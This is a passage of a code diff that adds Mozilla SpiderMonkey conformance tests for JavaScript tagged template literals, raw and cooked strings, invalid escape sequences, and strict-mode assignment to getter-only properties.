+check(eval("cooked`\r`"), ["\n"]);
+check(eval("cooked`\r\n`"), ["\n"]);
+check(eval("cooked`\r\r\n`"), ["\n\n"]);
+check(eval("cooked`he\r\ny`"), ["he\ny"]);
+check(eval("cooked`he\ry`"), ["he\ny"]);
+check(eval("cooked`he\r\ry`"), ["he\n\ny"]);
+check(eval("cooked`he\r\r\ny`"), ["he\n\ny"]);
+
+// Expressions
+check(args`hey${"there"}now`, ["there"]);
+check(args`hey${4}now`, [4]);
+check(args`hey${4}`, [4]);
+check(args`${4}`, [4]);
+check(args`${4}${5}`, [4,5]);
+check(args`a${4}${5}`, [4,5]);
+check(args`a${4}b${5}`, [4,5]);
+check(args`a${4}b${5}c`, [4,5]);
+check(args`${4}b${5}c`, [4,5]);
+check(args`${4}${5}c`, [4,5]);
+
+var a = 10;
+var b = 15;
+check(args`${4 + a}${5 + b}c`, [14,20]);
+check(args`${4 + a}${a + b}c`, [14,25]);
+check(args`${b + a}${5 + b}c`, [25,20]);
+check(args`${4 + a}${a + b}c${"a"}`, [14,25,"a"]);
+check(args`a${"b"}${"c"}${"d"}`, ["b","c","d"]);
+check(args`a${"b"}${"c"}${a + b}`, ["b","c",25]);
+check(args`a${"b"}`, ["b"]);
+
+// Expressions - complex substitutions
+check(args`${`hey ${b + a} there`}${5 + b}c`, ["hey 25 there",20]);
+check(args`${`hey ${`my ${b + a} good`} there`}${5 + b}c`, ["hey my 25 good there",20]);
+
+syntaxError("args`${}`");
+syntaxError("args`${`");
+syntaxError("args`${\\n}`");
+syntaxError("args`${yield 0}`");
+syntaxError("args`");
+syntaxError("args`$");
+syntaxError("args`${");
+syntaxError("args.``");
+
+// Template substitution tests in the context of tagged templates
+// Extra whitespace inside a template substitution is ignored.
+check(args`a${
+0
+}`, [0]);
+
+// Extra whitespace between tag and template is ignored
+check(args
+`a
+${
+0
+}`, [0]);
+
+
+check(args`${5}${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, [5,0]);
+
+check(args // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+`${5}${0}`, [5,0]);
+
+
+// Template substitutions are expressions, not statements.
+syntaxError("args`${0;}`");
+check(args`${
+ function f() {
+ return "ok";
+ }()
+}`, ["ok"]);
+
+// Template substitutions can have side effects.
+var x = 0;
+check(args`${x += 1}`, [1]);
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+check(args`${++x, "o"}k`, ["o"]);
+assertEq(x, 1);
+
+
+// --> is not a comment inside a template.
+check(cooked`
+--> this is text
+`, ["\n--> this is text\n"]);
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ var res = args`${n}${f(n - 1)}`;
+ return res[0] + res[1] + "";
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ var res = args`${yield 1} ${yield 2}`;
+ return res[0] + res[1] + "";
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "helloworld");
+
+// undefined
+assertEq(args`${void 0}`[0] + "", "undefined");
+assertEq(args`${Object.doesNotHaveThisProperty}`[0] + "", "undefined");
+
+var callSiteObj = [];
+callSiteObj[0] = cooked`aa${4}bb`;
+for (var i = 1; i < 3; i++)
+ callSiteObj[i] = cooked`aa${4}bb`;
+
+// Same call site object behavior
+assertEq(callSiteObj[1], callSiteObj[2]);
+// Template objects are canonicalized
+assertEq(callSiteObj[0] !== callSiteObj[1], true);
+assertEq("raw" in callSiteObj[0], true);
+
+// Array length
+assertEq(callSiteObj[0].raw.length, 2);
+assertEq(callSiteObj[0].length, 2);
+
+// Frozen objects
+assertEq(Object.isFrozen(callSiteObj[0]), true);
+assertEq(Object.isFrozen(callSiteObj[0].raw), true);
+
+// Raw not enumerable
+assertEq(callSiteObj[0].propertyIsEnumerable(callSiteObj[0].raw), false);
+
+// Allow call syntax
+check(new ((cs, sub) => function(){ return sub }) `${[1, 2, 3]}`, [1,2,3]);
+
+var a = [];
+function test() {
+ var x = callSite => callSite;
+ for (var i = 0; i < 2; i++)
+ a[i] = eval("x``");
+}
+test();
+assertEq(a[0] !== a[1], true);
+
+// Test that |obj.method`template`| works
+var newObj = {
+ methodRetThis : function () {
+ return this;
+ },
+ methodRetCooked : function (a) {
+ return a;
+ },
+ methodRetRaw : function (a) {
+ return a.raw;
+ },
+ methodRetArgs : function (a, ...args) {
+ return args;
+ }
+}
+
+assertEq(newObj.methodRetThis`abc${4}`, newObj);
+check(newObj.methodRetCooked`abc${4}\r`, ["abc","\r"]);
+check(eval("newObj.methodRetCooked`abc${4}\r`"), ["abc","\n"]);
+check(newObj.methodRetRaw`abc${4}\r`, ["abc","\\r"]);
+check(eval("newObj.methodRetRaw`abc${4}\r`"), ["abc","\n"]);
+check(eval("newObj.methodRetArgs`abc${4}${5}\r${6}`"), [4,5,6]);
+
+// Chained calls
+function func(a) {
+ if (a[0] === "hey") {
+ return function(a) {
+ if (a[0] === "there") {
+ return function(a) {
+ if (a[0] === "mine")
+ return "was mine";
+ else
+ return "was not mine";
+ }
+ } else {
+ return function(a) {
+ return "was not there";
+ }
+ }
+ }
+ } else {
+ return function(a) {
+ return function(a) {
+ return "was not hey";
+ }
+ }
+ }
+}
+
+assertEq(func`hey``there``mine`, "was mine");
+assertEq(func`hey``there``amine`, "was not mine");
+assertEq(func`hey``tshere``amine`, "was not there");
+assertEq(func`heys``there``mine`, "was not hey");
+
+// String.raw
+assertEq(String.raw`h\r\ney${4}there\n`, "h\\r\\ney4there\\n");
+assertEq(String.raw`hey`, "hey");
+assertEq(String.raw``, "");
+
+// Invalid escape sequences
+check(raw`\01`, ["\\01"]);
+check(raw`\01${0}right`, ["\\01","right"]);
+check(raw`left${0}\01`, ["left","\\01"]);
+check(raw`left${0}\01${1}right`, ["left","\\01","right"]);
+check(raw`\1`, ["\\1"]);
+check(raw`\1${0}right`, ["\\1","right"]);
+check(raw`left${0}\1`, ["left","\\1"]);
+check(raw`left${0}\1${1}right`, ["left","\\1","right"]);
+check(raw`\xg`, ["\\xg"]);
+check(raw`\xg${0}right`, ["\\xg","right"]);
+check(raw`left${0}\xg`, ["left","\\xg"]);
+check(raw`left${0}\xg${1}right`, ["left","\\xg","right"]);
+check(raw`\xAg`, ["\\xAg"]);
+check(raw`\xAg${0}right`, ["\\xAg","right"]);
+check(raw`left${0}\xAg`, ["left","\\xAg"]);
+check(raw`left${0}\xAg${1}right`, ["left","\\xAg","right"]);
+check(raw`\u0`, ["\\u0"]);
+check(raw`\u0${0}right`, ["\\u0","right"]);
+check(raw`left${0}\u0`, ["left","\\u0"]);
+check(raw`left${0}\u0${1}right`, ["left","\\u0","right"]);
+check(raw`\u0g`, ["\\u0g"]);
+check(raw`\u0g${0}right`, ["\\u0g","right"]);
+check(raw`left${0}\u0g`, ["left","\\u0g"]);
+check(raw`left${0}\u0g${1}right`, ["left","\\u0g","right"]);
+check(raw`\u00g`, ["\\u00g"]);
+check(raw`\u00g${0}right`, ["\\u00g","right"]);
+check(raw`left${0}\u00g`, ["left","\\u00g"]);
+check(raw`left${0}\u00g${1}right`, ["left","\\u00g","right"]);
+check(raw`\u000g`, ["\\u000g"]);
+check(raw`\u000g${0}right`, ["\\u000g","right"]);
+check(raw`left${0}\u000g`, ["left","\\u000g"]);
+check(raw`left${0}\u000g${1}right`, ["left","\\u000g","right"]);
+check(raw`\u{}`, ["\\u{}"]);
+check(raw`\u{}${0}right`, ["\\u{}","right"]);
+check(raw`left${0}\u{}`, ["left","\\u{}"]);
+check(raw`left${0}\u{}${1}right`, ["left","\\u{}","right"]);
+check(raw`\u{-0}`, ["\\u{-0}"]);
+check(raw`\u{-0}${0}right`, ["\\u{-0}","right"]);
+check(raw`left${0}\u{-0}`, ["left","\\u{-0}"]);
+check(raw`left${0}\u{-0}${1}right`, ["left","\\u{-0}","right"]);
+check(raw`\u{g}`, ["\\u{g}"]);
+check(raw`\u{g}${0}right`, ["\\u{g}","right"]);
+check(raw`left${0}\u{g}`, ["left","\\u{g}"]);
+check(raw`left${0}\u{g}${1}right`, ["left","\\u{g}","right"]);
+check(raw`\u{0`, ["\\u{0"]);
+check(raw`\u{0${0}right`, ["\\u{0","right"]);
+check(raw`left${0}\u{0`, ["left","\\u{0"]);
+check(raw`left${0}\u{0${1}right`, ["left","\\u{0","right"]);
+check(raw`\u{\u{0}`, ["\\u{\\u{0}"]);
+check(raw`\u{\u{0}${0}right`, ["\\u{\\u{0}","right"]);
+check(raw`left${0}\u{\u{0}`, ["left","\\u{\\u{0}"]);
+check(raw`left${0}\u{\u{0}${1}right`, ["left","\\u{\\u{0}","right"]);
+check(raw`\u{110000}`, ["\\u{110000}"]);
+check(raw`\u{110000}${0}right`, ["\\u{110000}","right"]);
+check(raw`left${0}\u{110000}`, ["left","\\u{110000}"]);
+check(raw`left${0}\u{110000}${1}right`, ["left","\\u{110000}","right"]);
+
+check(cooked`\01`, [void 0]);
+check(cooked`\01${0}right`, [void 0,"right"]);
+check(cooked`left${0}\01`, ["left",void 0]);
+check(cooked`left${0}\01${1}right`, ["left",void 0,"right"]);
+check(cooked`\1`, [void 0]);
+check(cooked`\1${0}right`, [void 0,"right"]);
+check(cooked`left${0}\1`, ["left",void 0]);
+check(cooked`left${0}\1${1}right`, ["left",void 0,"right"]);
+check(cooked`\xg`, [void 0]);
+check(cooked`\xg${0}right`, [void 0,"right"]);
+check(cooked`left${0}\xg`, ["left",void 0]);
+check(cooked`left${0}\xg${1}right`, ["left",void 0,"right"]);
+check(cooked`\xAg`, [void 0]);
+check(cooked`\xAg${0}right`, [void 0,"right"]);
+check(cooked`left${0}\xAg`, ["left",void 0]);
+check(cooked`left${0}\xAg${1}right`, ["left",void 0,"right"]);
+check(cooked`\u0`, [void 0]);
+check(cooked`\u0${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u0`, ["left",void 0]);
+check(cooked`left${0}\u0${1}right`, ["left",void 0,"right"]);
+check(cooked`\u0g`, [void 0]);
+check(cooked`\u0g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u0g`, ["left",void 0]);
+check(cooked`left${0}\u0g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u00g`, [void 0]);
+check(cooked`\u00g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u00g`, ["left",void 0]);
+check(cooked`left${0}\u00g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u000g`, [void 0]);
+check(cooked`\u000g${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u000g`, ["left",void 0]);
+check(cooked`left${0}\u000g${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{}`, [void 0]);
+check(cooked`\u{}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{}`, ["left",void 0]);
+check(cooked`left${0}\u{}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{-0}`, [void 0]);
+check(cooked`\u{-0}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{-0}`, ["left",void 0]);
+check(cooked`left${0}\u{-0}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{g}`, [void 0]);
+check(cooked`\u{g}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{g}`, ["left",void 0]);
+check(cooked`left${0}\u{g}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{0`, [void 0]);
+check(cooked`\u{0${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{0`, ["left",void 0]);
+check(cooked`left${0}\u{0${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{\u{0}`, [void 0]);
+check(cooked`\u{\u{0}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{\u{0}`, ["left",void 0]);
+check(cooked`left${0}\u{\u{0}${1}right`, ["left",void 0,"right"]);
+check(cooked`\u{110000}`, [void 0]);
+check(cooked`\u{110000}${0}right`, [void 0,"right"]);
+check(cooked`left${0}\u{110000}`, ["left",void 0]);
+check(cooked`left${0}\u{110000}${1}right`, ["left",void 0,"right"]);
+
+syntaxError("`\\01`");
+syntaxError("`\\01${0}right`");
+syntaxError("`left${0}\\01`");
+syntaxError("`left${0}\\01${1}right`");
+syntaxError("`\\1`");
+syntaxError("`\\1${0}right`");
+syntaxError("`left${0}\\1`");
+syntaxError("`left${0}\\1${1}right`");
+syntaxError("`\\xg`");
+syntaxError("`\\xg${0}right`");
+syntaxError("`left${0}\\xg`");
+syntaxError("`left${0}\\xg${1}right`");
+syntaxError("`\\xAg`");
+syntaxError("`\\xAg${0}right`");
+syntaxError("`left${0}\\xAg`");
+syntaxError("`left${0}\\xAg${1}right`");
+syntaxError("`\\u0`");
+syntaxError("`\\u0${0}right`");
+syntaxError("`left${0}\\u0`");
+syntaxError("`left${0}\\u0${1}right`");
+syntaxError("`\\u0g`");
+syntaxError("`\\u0g${0}right`");
+syntaxError("`left${0}\\u0g`");
+syntaxError("`left${0}\\u0g${1}right`");
+syntaxError("`\\u00g`");
+syntaxError("`\\u00g${0}right`");
+syntaxError("`left${0}\\u00g`");
+syntaxError("`left${0}\\u00g${1}right`");
+syntaxError("`\\u000g`");
+syntaxError("`\\u000g${0}right`");
+syntaxError("`left${0}\\u000g`");
+syntaxError("`left${0}\\u000g${1}right`");
+syntaxError("`\\u{}`");
+syntaxError("`\\u{}${0}right`");
+syntaxError("`left${0}\\u{}`");
+syntaxError("`left${0}\\u{}${1}right`");
+syntaxError("`\\u{-0}`");
+syntaxError("`\\u{-0}${0}right`");
+syntaxError("`left${0}\\u{-0}`");
+syntaxError("`left${0}\\u{-0}${1}right`");
+syntaxError("`\\u{g}`");
+syntaxError("`\\u{g}${0}right`");
+syntaxError("`left${0}\\u{g}`");
+syntaxError("`left${0}\\u{g}${1}right`");
+syntaxError("`\\u{0`");
+syntaxError("`\\u{0${0}right`");
+syntaxError("`left${0}\\u{0`");
+syntaxError("`left${0}\\u{0${1}right`");
+syntaxError("`\\u{\\u{0}`");
+syntaxError("`\\u{\\u{0}${0}right`");
+syntaxError("`left${0}\\u{\\u{0}`");
+syntaxError("`left${0}\\u{\\u{0}${1}right`");
+syntaxError("`\\u{110000}`");
+syntaxError("`\\u{110000}${0}right`");
+syntaxError("`left${0}\\u{110000}`");
+syntaxError("`left${0}\\u{110000}${1}right`");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/templLit.js b/js/src/tests/non262/template-strings/templLit.js
new file mode 100644
index 0000000000..0b85ad7d1f
--- /dev/null
+++ b/js/src/tests/non262/template-strings/templLit.js
@@ -0,0 +1,118 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// TEST BEGIN
+
+
+
+// combinations of substitutions
+assertEq("abcdef", `ab${"cd"}ef`);
+assertEq("ab9ef", `ab${4+5}ef`);
+assertEq("cdef", `${"cd"}ef`);
+assertEq("abcd", `ab${"cd"}`);
+assertEq("cd", `${"cd"}`);
+assertEq("", `${""}`);
+assertEq("4", `${4}`);
+
+// multiple substitutions
+assertEq("abcdef", `ab${"cd"}e${"f"}`);
+assertEq("abcdef", `ab${"cd"}${"e"}f`);
+assertEq("abcdef", `a${"b"}${"cd"}e${"f"}`);
+assertEq("abcdef", `${"ab"}${"cd"}${"ef"}`);
+
+// inception
+assertEq("abcdef", `a${`b${"cd"}e${"f"}`}`);
+
+syntaxError("`${}`");
+syntaxError("`${`");
+syntaxError("`${\\n}`");
+syntaxError("`${yield 0}`");
+
+// Extra whitespace inside a template substitution is ignored.
+assertEq(`${
+0
+}`, "0");
+
+assertEq(`${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, "0");
+
+// Template substitutions are expressions, not statements.
+syntaxError("`${0;}`");
+assertEq(`${{}}`, "[object Object]");
+assertEq(`${
+ function f() {
+ return "ok";
+ }()
+}`, "ok");
+
+// Template substitutions can have side effects.
+var x = 0;
+assertEq(`= ${x += 1}`, "= 1");
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+assertEq(`${++x, "o"}k`, "ok");
+assertEq(x, 1);
+
+// --> is not a comment inside a template.
+assertEq(`
+--> this is text
+`, "\n--> this is text\n");
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ return `${n}${f(n - 1)}`;
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ return `${yield 1} ${yield 2}`;
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "hello world");
+
+// undefined
+assertEq(`${void 0}`, "undefined");
+assertEq(`${Object.doesNotHaveThisProperty}`, "undefined");
+
+// toString behavior
+assertEq("<toString>", `${{valueOf: () => "<valueOf>", toString: () => "<toString>"}}`);
+assertEq("Hi 42", Function("try {`${{toString: () => { throw 42;}}}`} catch(e) {return \"Hi \" + e;}")());
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template.js b/js/src/tests/non262/template.js
new file mode 100644
index 0000000000..2fb786ba73
--- /dev/null
+++ b/js/src/tests/non262/template.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/types/8.12.5-01.js b/js/src/tests/non262/types/8.12.5-01.js
new file mode 100644
index 0000000000..b41de0bb50
--- /dev/null
+++ b/js/src/tests/non262/types/8.12.5-01.js
@@ -0,0 +1,110 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b";
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b";
+ assertEq(y.p, "a");
+}
+
+function strictTest1()
+{
+ "use strict";
+
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function strictTest2()
+{
+ "use strict";
+
+ function T() {}
+ T.prototype = o;
+ y = new T;
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ strictTest1();
+ errors.push("strictTest1 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest1 didn't fail with a TypeError: " + e);
+ }
+
+ try
+ {
+ strictTest2();
+ errors.push("strictTest2 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest2 didn't fail with a TypeError: " + e);
+ }
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/types/browser.js b/js/src/tests/non262/types/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/types/browser.js
diff --git a/js/src/tests/non262/types/shell.js b/js/src/tests/non262/types/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/types/shell.js